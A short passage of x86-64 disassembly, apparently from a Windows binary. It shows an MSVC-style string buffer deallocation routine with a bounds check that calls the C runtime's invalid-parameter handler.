mov rdx, qword [rbp - 0x10]
cmp rdx, 0xf
jbe 0x1400fbc92
mov rcx, qword [rbp - 0x28]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400fbc8d
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400fbc8d
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400ff4c0
mov rax, rdi
jmp 0x1400fbc1d